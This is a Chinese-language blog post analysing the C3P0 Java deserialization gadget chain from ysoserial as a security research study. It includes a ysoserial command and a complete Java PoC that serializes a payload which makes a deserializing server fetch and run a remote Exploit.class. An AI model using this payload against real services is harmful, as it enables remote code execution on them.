環境准備:
pom:
<!-- https://mvnrepository.com/artifact/com.mchange/c3p0 --> <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>
payload生成:
java -jar ysoserial.jar C3P0 "http://127.0.0.1:8989/:Exploit" > test.ser //加載Exploit.class
調用鏈分析:
exec處下斷點,整個調用鏈如下圖所示:
反序列化的入口點時com/mchange/v2/c3p0/impl/PoolBackedDataSourceBase,
首先從輸入流中還原出一個referenceIndirector的內部類referenceSerialized的對象,然后判斷其若是不是類IndirectlySerialized的實例,由下圖可得此時referenceSerialized實現了referenceSerialized接口,那么
referenceSerialized必定是其實例
而該接口定義了一個getObject方法,用於返回對象,所以就到了referenceSerialized類的getObject
在這里獲取上下文,應該是嘗試通過jndi的方式獲取上下文,然而這里contextname為null,即jndi失效,所以通過ReferenceableUtils.referenceToObject來加載引用,這里引入的類名為exploit,也就是我們的惡意的字節碼的文件名
reFerenceToObject根據Reference對象來獲取工廠類的名字,以及工廠類的地址,接着拿到類加載器,拿到appClassLoader(一般程序中類加載都用這個,它的上面還有jre核心類運行的加載(rt.jar)bootstrap classloader和擴展類加載ext classloader)
接着就判斷工廠類地址是否為空,不為空則去遠程地址加載工廠類,這里用到了urlclassLoader,然后通過class.forname生成一個class 類型的實例,就加載到了工廠類,即我們的惡意字節碼類
Class var12 = Class.forName(var4, true, (ClassLoader)var7);
接着newInstance完成了類的實例化,即觸發構造方法中的代碼塊執行
tip:
那么這里重點還是引用類的構造,即referenceSerialized的this.reference成員變量的賦值
ysoserial的構造:
這里先實例化一個PoolBackedDataSource的實例,然后再將本地構造的PoolSource賦值給該類的connectionPoolDataSource成員方法,感覺這里比較主要的就是重寫getReference方法來返回一個指向遠程地址的引用實例
看下PoolBackedDataSource的writeObject方法應該更好理解一點:
因為序列化時實際上是從輸入流中讀出一個object來調用其getobject,所以這里第一次寫入的object就是要反序列化利用的object,第一個tobyteArray那里如下圖catch到錯誤,因為poolsource是不可序列化的類,所以走到reference那里indirector.indirectForm(this.connectionPoolDataSource),這個傳入的就是本地構造的poolsource的實例
indirectForm里面調用poolSource的getRerence方法實際上想返回一個reference類型的實例,所以ysoserial構造gadget的時候要本地定義一個getRerence()方法
所以indirectForm最后返回一個ReferenceIndirector.ReferenceSerialized的實例,其可序列化,因為有下面兩個圖的關系
所以最終這里調用weiteObject寫入序列化的數據流,完成payload的構造
所以就可以手動構造poc了:
poc.java
package C3P0; // 遠程類加載的利用方式 import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class payload1 { private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private String className; private String url; public PoolSource(String className, String url) { this.className = className; this.url = url; } @Override public Reference getReference() throws NamingException { return new Reference("exploit", this.className, this.url); } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } } public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, IOException { Constructor con = PoolBackedDataSource.class.getDeclaredConstructor(new Class[0]); con.setAccessible(true); PoolBackedDataSource obj = (PoolBackedDataSource) con.newInstance(new Object[0]); Field conData = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); conData.setAccessible(true); conData.set(obj, new PoolSource("Exploit", "http://127.0.0.1:8989/")); // 8989掛在惡意的Exploit.class ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/t.ser")); objOut.writeObject(obj); } }
另外兩種利用方式:
1.JNDI利用
2.hex序列化加載器 (將hex部分內容進行反序列化,結合類似fastjson進行二次反序列化)
參考 : http://redteam.today/2020/04/18/c3p0%E7%9A%84%E4%B8%89%E4%B8%AAgadget/
源碼地址:https://github.com/Wfzsec/ysoserial-poc